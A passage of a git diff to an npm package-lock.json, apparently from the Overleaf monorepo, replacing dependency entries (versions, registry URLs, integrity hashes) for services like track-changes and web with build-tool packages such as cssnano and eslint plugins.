"^1.8.15", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "chai-http": "^4.3.0", +- "dtrace-provider": "^0.8.8", +- "express": "^4.17.1", +- "express-basic-auth": "^1.2.0", +- "ioredis": "^4.16.0", +- "lodash": "^4.17.15", +- "mocha": "^8.4.0", +- "node-fetch": "^2.6.7", +- "redlock": "^4.1.0", +- "request": "^2.88.2" +- } +- }, +- "@overleaf/track-changes": { +- "version": "file:services/track-changes", +- "requires": { +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/redis-wrapper": "^2.0.0", +- "@overleaf/settings": "^3.0.0", +- "async": "^3.2.2", +- "aws-sdk": "^2.643.0", +- "body-parser": "^1.19.0", +- "bson": "^1.1.5", +- "bunyan": "^1.8.15", +- "byline": "^5.0.0", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "cli": "^1.0.1", +- "express": "4.17.1", +- "heap": "^0.2.6", +- "JSONStream": "^1.3.5", +- "line-reader": "^0.4.0", +- "lodash": "^4.17.21", +- "memorystream": "0.3.1", +- "mocha": "^8.4.0", +- "mongo-uri": "^0.1.2", +- "mongodb": "^3.6.0", +- "redis": "~0.10.1", +- "request": "~2.88.2", +- "requestretry": "^4.1.0", +- "s3-streams": "^0.4.0", +- "sandboxed-module": "~2.0.3", +- "sinon": "~9.0.1", +- "timekeeper": "2.2.0", +- "underscore": "~1.13.1", +- "yazl": "^2.5.1" +- }, +- "dependencies": { +- "body-parser": { +- "version": "1.19.0", +- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", +- "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", ++ }, ++ "cssnano-preset-default": { ++ "version": "5.2.7", ++ "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.7.tgz", ++ "integrity": "sha512-JiKP38ymZQK+zVKevphPzNSGHSlTI+AOwlasoSRtSVMUU285O7/6uZyd5NbW92ZHp41m0sSHe6JoZosakj63uA==", ++ "dev": true, + "requires": { +- "bytes": "3.1.0", +- "content-type": "~1.0.4", +- "debug": "2.6.9", +- "depd": "~1.1.2", +- "http-errors": "1.7.2", +- "iconv-lite": "0.4.24", +- "on-finished": "~2.3.0", +- "qs": "6.7.0", +- "raw-body": "2.4.0", +- "type-is": "~1.6.17" ++ "css-declaration-sorter": "^6.2.2", ++ "cssnano-utils": "^3.1.0", ++ "postcss-calc": "^8.2.3", ++ "postcss-colormin": "^5.3.0", ++ "postcss-convert-values": "^5.1.0", ++ "postcss-discard-comments": "^5.1.1", ++ "postcss-discard-duplicates": "^5.1.0", ++ "postcss-discard-empty": "^5.1.1", ++ "postcss-discard-overridden": "^5.1.0", ++ "postcss-merge-longhand": "^5.1.4", ++ "postcss-merge-rules": "^5.1.1", ++ "postcss-minify-font-values": "^5.1.0", ++ "postcss-minify-gradients": "^5.1.1", ++ "postcss-minify-params": "^5.1.2", ++ "postcss-minify-selectors": "^5.2.0", ++ "postcss-normalize-charset": "^5.1.0", ++ "postcss-normalize-display-values": "^5.1.0", ++ "postcss-normalize-positions": "^5.1.0", ++ "postcss-normalize-repeat-style": "^5.1.0", ++ "postcss-normalize-string": "^5.1.0", ++ "postcss-normalize-timing-functions": "^5.1.0", ++ "postcss-normalize-unicode": "^5.1.0", ++ "postcss-normalize-url": "^5.1.0", ++ "postcss-normalize-whitespace": "^5.1.1", ++ "postcss-ordered-values": "^5.1.1", ++ "postcss-reduce-initial": "^5.1.0", ++ "postcss-reduce-transforms": "^5.1.0", ++ "postcss-svgo": "^5.1.0", ++ "postcss-unique-selectors": "^5.1.1" + } + }, +- "byline": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/byline/-/byline-5.0.0.tgz", +- "integrity": "sha1-dBxSFkaOrcRXsDQQEYrXfejB3bE=" +- }, +- "bytes": { ++ "cssnano-utils": { + "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", +- "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==" ++ "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz", ++ "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", ++ "dev": true, ++ "requires": {} + }, +- "content-disposition": { +- "version": "0.5.3", +- "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", +- "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", +- "requires": { +- "safe-buffer": "5.1.2" +- } ++ "diff": { ++ "version": "3.5.0", ++ "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz", ++ "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", ++ "dev": true + }, +- "cookie": { +- "version": "0.4.0", +- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", +- "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==" ++ "emoji-regex": { ++ "version": "9.2.2", ++ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", ++ "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", ++ "dev": true + }, +- "cookie-signature": { +- "version": "1.0.6", +- "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", +- "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" ++ "eslint-config-standard-jsx": { ++ "version": "11.0.0-0", ++ "resolved": "https://registry.npmjs.org/eslint-config-standard-jsx/-/eslint-config-standard-jsx-11.0.0-0.tgz", ++ "integrity": "sha512-KF2HkJoiMH7j9QCLC2OFgE+xfWRXnVpTZzombqdRtOkp6DBGLfGvvonl7AzEbWIxgjOiHkuw+lmYPz5cN2+kJA==", ++ "dev": true, ++ "requires": {} + }, +- "debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", ++ "eslint-plugin-jsx-a11y": { ++ "version": "6.5.1", ++ "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.5.1.tgz", ++ "integrity": "sha512-sVCFKX9fllURnXT2JwLN5Qgo24Ug5NF6dxhkmxsMEUZhXRcGg+X3e1JbJ84YePQKBl5E0ZjAH5Q4rkdcGY99+g==", ++ "dev": true, + "requires": { +- "ms": "2.0.0" ++ "@babel/runtime": "^7.16.3", ++ "aria-query": "^4.2.2", ++ "array-includes": "^3.1.4", ++ "ast-types-flow": "^0.0.7", ++ "axe-core": "^4.3.5", ++ "axobject-query": "^2.2.0", ++ "damerau-levenshtein": "^1.0.7", ++ "emoji-regex": "^9.2.2", ++ "has": "^1.0.3", ++ "jsx-ast-utils": "^3.2.1", ++ "language-tags": "^1.0.5", ++ "minimatch": "^3.0.4" + } + }, +- "diff": { +- "version": "4.0.2", +- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", +- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", +- "dev": true ++ "eslint-plugin-react": { ++ "version": "7.28.0", ++ "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.28.0.tgz", ++ "integrity": "sha512-IOlFIRHzWfEQQKcAD4iyYDndHwTQiCMcJVJjxempf203jnNLUnW34AXLrV33+nEXoifJE2ZEGmcjKPL8957eSw==", ++ "dev": true, ++ "requires": { ++ "array-includes": "^3.1.4", ++ "array.prototype.flatmap": "^1.2.5", ++ "doctrine": "^2.1.0", ++ "estraverse": "^5.3.0", ++ "jsx-ast-utils": "^2.4.1 || ^3.0.0", ++ "minimatch": "^3.0.4", ++ "object.entries": "^1.1.5", ++ "object.fromentries": "^2.0.5", ++ "object.hasown": "^1.1.0", ++ "object.values": "^1.1.5", ++ "prop-types": "^15.7.2", ++ "resolve": "^2.0.0-next.3", ++ "semver": "^6.3.0", ++ "string.prototype.matchall": "^4.0.6" ++ }, ++ "dependencies": { ++ "doctrine": { ++ "version": "2.1.0", ++ "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", ++ "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", ++ "dev": true, ++ "requires": { ++ "esutils": "^2.0.2" ++ } ++ } ++ } ++ }, ++ "eslint-plugin-react-hooks": { ++ "version": "4.3.0", ++ "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.3.0.tgz", ++ "integrity": "sha512-XslZy0LnMn+84NEG9jSGR6eGqaZB3133L8xewQo3fQagbQuGt7a63gf+P1NGKZavEYEC3UXaWEAA/AqDkuN6xA==", ++ "dev": true, ++ "requires": {} ++ }, ++ "events": { ++ "version": "3.3.0", ++ "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", ++ "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==" ++ }, ++ "expose-loader": { ++ "version": "3.1.0", ++ "resolved": "https://registry.npmjs.org/expose-loader/-/expose-loader-3.1.0.tgz", ++ "integrity": "sha512-2RExSo0yJiqP+xiUue13jQa2IHE8kLDzTI7b6kn+vUlBVvlzNSiLDzo4e5Pp5J039usvTUnxZ8sUOhv0Kg15NA==", ++ "dev": true, ++ "requires": {} + }, + "express": { + "version": "4.17.1", +@@ -42517,6 +34883,56 @@ + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" ++ }, ++ "dependencies": { ++ "cookie": { ++ "version": "0.4.0", ++ "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", ++ "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==" ++ }, ++ "debug": { ++ "version": "2.6.9", ++ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", ++ "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", ++ "requires": { ++ "ms": "2.0.0" ++ } ++ }, ++ "ms": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", ++ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" ++ } ++ } ++ }, ++ "form-data": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", ++ "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", ++ "dev": true, ++ "requires": { ++ "asynckit": "^0.4.0", ++ "combined-stream": "^1.0.8", ++ "mime-types": "^2.1.12" ++ } ++ }, ++ "fs-extra": { ++ "version": "4.0.3", ++ "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-4.0.3.tgz", ++ "integrity": "sha512-q6rbdDd1o2mAnQreO7YADIxf/Whx4AHBiRf6d+/cVT8h44ss+lHgxf1FemcqDnQt9X3ct4McHr+JMGlYSsK7Cg==", ++ "requires": { ++ "graceful-fs": "^4.1.2", ++ "jsonfile": "^4.0.0", ++ "universalify": "^0.1.0" ++ } ++ }, ++ "glob-parent": { ++ "version": "6.0.2", ++ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", ++ "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", ++ "dev": true, ++ "requires": { ++ "is-glob": "^4.0.3" + } + }, + "http-errors": { +@@ -42531,460 +34947,94 @@ + "toidentifier": "1.0.0" + } + }, ++ "icss-utils": { ++ "version": "5.1.0", ++ "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", ++ "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", ++ "dev": true, ++ "requires": {} ++ }, + "inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + }, +- "line-reader": { +- "version": "0.4.0", +- "resolved": "https://registry.npmjs.org/line-reader/-/line-reader-0.4.0.tgz", +- "integrity": "sha1-F+RIGNoKwzVnW6MAlU+U72cOZv0=" +- }, +- "mime": { +- "version": "1.6.0", +- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", +- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" +- }, +- "ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" ++ "isarray": { ++ "version": "1.0.0", ++ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", ++ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, +- "qs": { +- "version": "6.7.0", +- "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", +- "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==" ++ "json-schema-traverse": { ++ "version": "1.0.0", ++ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", ++ "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", ++ "dev": true + }, +- "raw-body": { +- "version": "2.4.0", +- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", +- "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", ++ "jsonfile": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", ++ "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=", + "requires": { +- "bytes": "3.1.0", +- "http-errors": "1.7.2", +- "iconv-lite": "0.4.24", +- "unpipe": "1.0.0" ++ "graceful-fs": "^4.1.6" + } + }, +- "send": { +- "version": "0.17.1", +- "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", +- "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", ++ "karma-webpack": { ++ "version": "5.0.0", ++ "resolved": "https://registry.npmjs.org/karma-webpack/-/karma-webpack-5.0.0.tgz", ++ "integrity": "sha512-+54i/cd3/piZuP3dr54+NcFeKOPnys5QeM1IY+0SPASwrtHsliXUiCL50iW+K9WWA7RvamC4macvvQ86l3KtaA==", ++ "dev": true, + "requires": { +- "debug": "2.6.9", +- "depd": "~1.1.2", +- "destroy": "~1.0.4", +- "encodeurl": "~1.0.2", +- "escape-html": "~1.0.3", +- "etag": "~1.8.1", +- "fresh": "0.5.2", +- "http-errors": "~1.7.2", +- "mime": "1.6.0", +- "ms": "2.1.1", +- "on-finished": "~2.3.0", +- "range-parser": "~1.2.1", +- "statuses": "~1.5.0" ++ "glob": "^7.1.3", ++ "minimatch": "^3.0.4", ++ "webpack-merge": "^4.1.5" + }, + "dependencies": { +- "ms": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", +- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==" ++ "webpack-merge": { ++ "version": "4.2.2", ++ "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-4.2.2.tgz", ++ "integrity": "sha512-TUE1UGoTX2Cd42j3krGYqObZbOD+xF7u28WB7tfUordytSjbWTIjK/8V0amkBfTYN4/pB/GIDlJZZ657BGG19g==", ++ "dev": true, ++ "requires": { ++ "lodash": "^4.17.15" ++ } + } + } + }, +- "serve-static": { +- "version": "1.14.1", +- "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", +- "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", +- "requires": { +- "encodeurl": "~1.0.2", +- "escape-html": "~1.0.3", +- "parseurl": "~1.3.3", +- "send": "0.17.1" +- } +- }, +- "setprototypeof": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", +- "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==" +- }, +- "sinon": { +- "version": "9.0.3", +- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.3.tgz", +- "integrity": "sha512-IKo9MIM111+smz9JGwLmw5U1075n1YXeAq8YeSFlndCLhAL5KGn6bLgu7b/4AYHTV/LcEMcRm2wU2YiL55/6Pg==", ++ "less-loader": { ++ "version": "10.2.0", ++ "resolved": "https://registry.npmjs.org/less-loader/-/less-loader-10.2.0.tgz", ++ "integrity": "sha512-AV5KHWvCezW27GT90WATaDnfXBv99llDbtaj4bshq6DvAihMdNjaPDcUMa6EXKLRF+P2opFenJp89BXg91XLYg==", + "dev": true, + "requires": { +- "@sinonjs/commons": "^1.7.2", +- "@sinonjs/fake-timers": "^6.0.1", +- "@sinonjs/formatio": "^5.0.1", +- "@sinonjs/samsam": "^5.1.0", +- "diff": "^4.0.2", +- "nise": "^4.0.4", +- "supports-color": "^7.1.0" ++ "klona": "^2.0.4" + } + }, +- "supports-color": { +- "version": "7.2.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", +- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", +- "dev": true, +- "requires": { +- "has-flag": "^4.0.0" +- } +- }, +- "toidentifier": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", +- "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==" +- } +- } +- }, +- "@overleaf/web": { +- "version": "file:services/web", +- "requires": { +- "@babel/cli": "^7.14.5", +- "@babel/core": "^7.14.5", +- "@babel/preset-env": "^7.14.5", +- "@babel/preset-react": "^7.14.5", +- "@babel/preset-typescript": "^7.16.0", +- "@babel/register": "^7.14.5", +- "@codemirror/autocomplete": "^6.3.0", +- "@codemirror/commands": "^6.1.0", +- "@codemirror/lang-markdown": "^6.0.1", +- "@codemirror/language": "^6.2.1", +- "@codemirror/lint": "^6.0.0", +- "@codemirror/search": "^6.2.1", +- "@codemirror/state": "^6.1.2", +- "@codemirror/view": "^6.3.0", +- "@cypress/react": "^6.0.0", +- "@juggle/resize-observer": "^3.3.1", +- "@lezer/common": "^1.0.1", +- "@lezer/generator": "^1.1.1", +- "@lezer/highlight": "^1.1.0", +- "@lezer/lr": "^1.2.3", +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/object-persistor": "^1.0.1", +- "@overleaf/ranges-tracker": "*", +- "@overleaf/redis-wrapper": "^2.0.0", +- "@overleaf/settings": "^3.0.0", +- "@pmmmwh/react-refresh-webpack-plugin": "^0.5.7", +- "@pollyjs/adapter-node-http": "^4.2.1", +- "@pollyjs/core": "^4.2.1", +- "@pollyjs/persister-fs": "^4.2.1", +- "@reach/tabs": "^0.15.0", +- "@replit/codemirror-emacs": "overleaf/codemirror-emacs#8640addc01bbe99fec0144993d012b6dfc57d6e2", +- "@replit/codemirror-vim": "overleaf/codemirror-vim#76b21cf77b6c36755cc2be3b41dd17d4c847cc57", +- "@sentry/browser": "^7.8.1", +- "@testing-library/cypress": "^8.0.3", +- "@testing-library/dom": "^8.13.0", +- "@testing-library/react": "^12.1.5", +- "@testing-library/react-hooks": "^8.0.0", +- "@testing-library/user-event": "^14.2.0", +- "@types/chai": "^4.3.0", +- "@types/events": "^3.0.0", +- "@types/express": "^4.17.13", +- "@types/mocha": "^9.1.0", +- "@types/react": "^17.0.40", +- "@types/react-bootstrap": "^0.32.29", +- "@types/react-dom": "^17.0.13", +- "@types/sinon-chai": "^3.2.8", +- "@types/uuid": "^8.3.4", +- "@typescript-eslint/eslint-plugin": "^5.12.1", +- "@typescript-eslint/parser": "^5.3.1", +- "@uppy/core": "^1.15.0", +- "@uppy/dashboard": "^1.11.0", +- "@uppy/react": "^1.11.0", +- "@uppy/utils": "^4.0.7", +- "@uppy/xhr-upload": "^1.6.8", +- "abort-controller": "^3.0.0", +- "accepts": "^1.3.7", +- "ace-builds": "https://github.com/overleaf/ace-builds/archive/v1.4.12-69aace50e6796d42116f8f96e19d2468d8a88af9.tar.gz", +- "acorn": "^7.1.1", +- "acorn-walk": "^7.1.1", +- "algoliasearch": "^3.35.1", +- "angular": "~1.8.0", +- "angular-mocks": "~1.8.0", +- "angular-sanitize": "~1.8.0", +- "archiver": "^5.3.0", +- "async": "3.2.2", +- "autoprefixer": "^9.7.6", +- "babel-loader": "^8.2.4", +- "babel-plugin-angularjs-annotate": "^0.10.0", +- "babel-plugin-macros": "^3.1.0", +- "backbone": "^1.3.3", +- "basic-auth": "^2.0.1", +- "bcrypt": "^5.0.0", +- "body-parser": "^1.19.0", +- "bootstrap": "^3.4.1", +- "bowser": "^2.11.0", +- "bufferedstream": "1.6.0", +- "bull": "^3.18.0", +- "bunyan": "^1.8.15", +- "c8": "^7.2.0", +- "cache-flow": "^1.7.4", +- "celebrate": "^10.0.1", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "chai-exclude": "^2.0.3", +- "cheerio": "^1.0.0-rc.3", +- "classnames": "^2.2.6", +- "codemirror": "~5.33.0", +- "color-alpha": "^1.1.3", +- "color-parse": "^1.4.2", +- "connect-redis": "^3.1.0", +- "content-disposition": "^0.5.0", +- "contentful": "^6.1.1", +- "cookie": "^0.2.3", +- "cookie-parser": "1.3.5", +- "copy-webpack-plugin": "^10.2.4", +- "core-js": "^3.6.2", +- "crypto-js": "^3.1.9-1", +- "css-loader": "^6.7.1", +- "css-minimizer-webpack-plugin": "^3.4.1", +- "csurf": "^1.11.0", +- "cypress": "^10.2.0", +- "d3": "^3.5.16", +- "dateformat": "1.0.4-1.2.3", +- "daterangepicker": "https://github.com/overleaf/daterangepicker/archive/e496d2d44ca53e208c930e4cb4bcf29bcefa4550.tar.gz", +- "downshift": "^6.1.0", +- "east": "^2.0.2", +- "email-addresses": "^5.0.0", +- "es6-promise": "^4.2.8", +- "escodegen": "^2.0.0", +- "eslint-config-standard-jsx": "^11.0.0-0", +- "eslint-plugin-cypress": "^2.12.1", +- "eslint-plugin-jsx-a11y": "^6.5.1", +- "eslint-plugin-react": "^7.27.0", +- "eslint-plugin-react-hooks": "^4.3.0", +- "events": "^3.3.0", +- "expose-loader": "^3.1.0", +- "express": "4.17.1", +- "express-bearer-token": "^2.4.0", +- "express-http-proxy": "^1.6.0", +- "express-session": "^1.17.1", +- "fetch-mock": "^9.10.2", +- "formik": "^2.2.9", +- "fs-extra": "^4.0.2", +- "fuse.js": "^3.0.0", +- "glob": "^7.1.6", +- "globby": "^5.0.0", +- "handlebars": "^4.7.7", +- "handlebars-loader": "^1.7.1", +- "helmet": "^3.22.0", +- "html-webpack-plugin": "^5.5.0", +- "http-proxy": "^1.18.1", +- "i18next": "^19.6.3", +- "i18next-fs-backend": "^1.0.7", +- "i18next-http-middleware": "^3.0.2", +- "i18next-scanner": "^3.0.0", +- "isomorphic-unfetch": "^3.0.0", +- "jose": "^4.3.8", +- "jquery": "^2.2.4", +- "jsdom": "^19.0.0", +- "jsdom-global": "^3.0.2", +- "json2csv": "^4.3.3", +- "jsonwebtoken": "^8.5.1", +- "karma": "^6.3.17", +- "karma-chai-sinon": "^0.1.5", +- "karma-chrome-launcher": "^3.1.0", +- "karma-mocha": "^2.0.0", +- "karma-mocha-reporter": "^2.2.5", +- "karma-requirejs": "^1.1.0", +- "karma-webpack": "^5.0.0", +- "ldapjs": "^0.7.1", +- "less": "^3.11.1", +- "less-loader": "^10.2.0", +- "less-plugin-autoprefix": "^2.0.0", +- "lodash": "^4.17.19", +- "lru-cache": "^7.10.1", +- "mailchimp-api-v3": "^1.12.0", +- "marked": "^4.1.0", +- "match-sorter": "^6.2.0", +- "mathjax": "^2.7.9", +- "mensch": "^0.3.4", +- "method-override": "^2.3.3", +- "mini-css-extract-plugin": "^2.6.0", +- "minimist": "1.2.5", +- "mmmagic": "^0.5.3", +- "mocha": "^8.4.0", +- "mock-fs": "^5.1.2", +- "moment": "^2.29.4", +- "mongodb": "~3.6.0", +- "mongoose": "^5.13.11", +- "multer": "https://github.com/overleaf/multer/archive/7a2928d7ea2da02dd92888ea1c9ba5704e07aeeb.tar.gz", +- "nocache": "^2.1.0", +- "nock": "^13.1.1", +- "node-fetch": "^2.6.7", +- "nodemailer": "^6.7.0", +- "nodemailer-mandrill-transport": "^1.2.0", +- "nodemailer-ses-transport": "^1.5.1", +- "nvd3": "^1.8.6", +- "oauth2-server": "^3.0.1", +- "otplib": "^12.0.1", +- "p-limit": "^2.3.0", +- "parse-data-url": "^2.0.0", +- "passport": "^0.4.1", +- "passport-google-oauth20": "^2.0.0", +- "passport-ldapauth": "^2.1.4", +- "passport-local": "^1.0.0", +- "passport-oauth2": "^1.5.0", +- "passport-orcid": "0.0.4", +- "passport-saml": "https://github.com/overleaf/passport-saml/releases/download/v3.2.1-overleaf/passport-saml-3.2.1-overleaf.tar.gz", +- "passport-twitter": "^1.0.4", +- "pdfjs-dist210": "npm:pdfjs-dist@2.10.377", +- "pdfjs-dist213": "npm:pdfjs-dist@2.13.216", +- "pirates": "^4.0.1", +- "postcss-loader": "^6.2.1", +- "prop-types": "^15.7.2", +- "pug": "^3.0.1", +- "pug-runtime": "^3.0.1", +- "qrcode": "^1.4.4", +- "react": "^17.0.2", +- "react-bootstrap": "^0.33.1", +- "react-dnd": "^11.1.3", +- "react-dnd-html5-backend": "^11.1.3", +- "react-dom": "^17.0.2", +- "react-error-boundary": "^2.3.1", +- "react-i18next": "^11.7.1", +- "react-linkify": "^1.0.0-alpha", +- "react-refresh": "^0.14.0", +- "react2angular": "^4.0.6", +- "react2angular-shared-context": "^1.1.0", +- "recurly": "^4.0.0", +- "referer-parser": "0.0.3", +- "request": "^2.88.2", +- "request-promise-native": "^1.0.8", +- "requestretry": "^6.0.0", +- "requirejs": "^2.3.6", +- "rimraf": "2.2.6", +- "rolling-rate-limiter": "^0.2.10", +- "samlp": "^3.4.1", +- "sandboxed-module": "https://github.com/overleaf/node-sandboxed-module/archive/cafa2d60f17ce75cc023e6f296eb8de79d92d35d.tar.gz", +- "sanitize-html": "^1.27.1", +- "scroll-into-view-if-needed": "^2.2.25", +- "sinon": "^7.5.0", +- "sinon-chai": "^3.7.0", +- "sinon-mongoose": "^2.3.0", +- "socket.io-mock": "^1.3.1", +- "sysend": "^1.10.0", +- "terser-webpack-plugin": "^5.3.1", +- "timekeeper": "^2.2.0", +- "to-string-loader": "^1.2.0", +- "tsscmp": "^1.0.6", +- "typescript": "^4.5.5", +- "underscore": "^1.13.1", +- "unzipper": "^0.10.11", +- "utf-8-validate": "^5.0.2", +- "uuid": "^3.0.1", +- "val-loader": "^4.0.0", +- "valid-data-url": "^2.0.0", +- 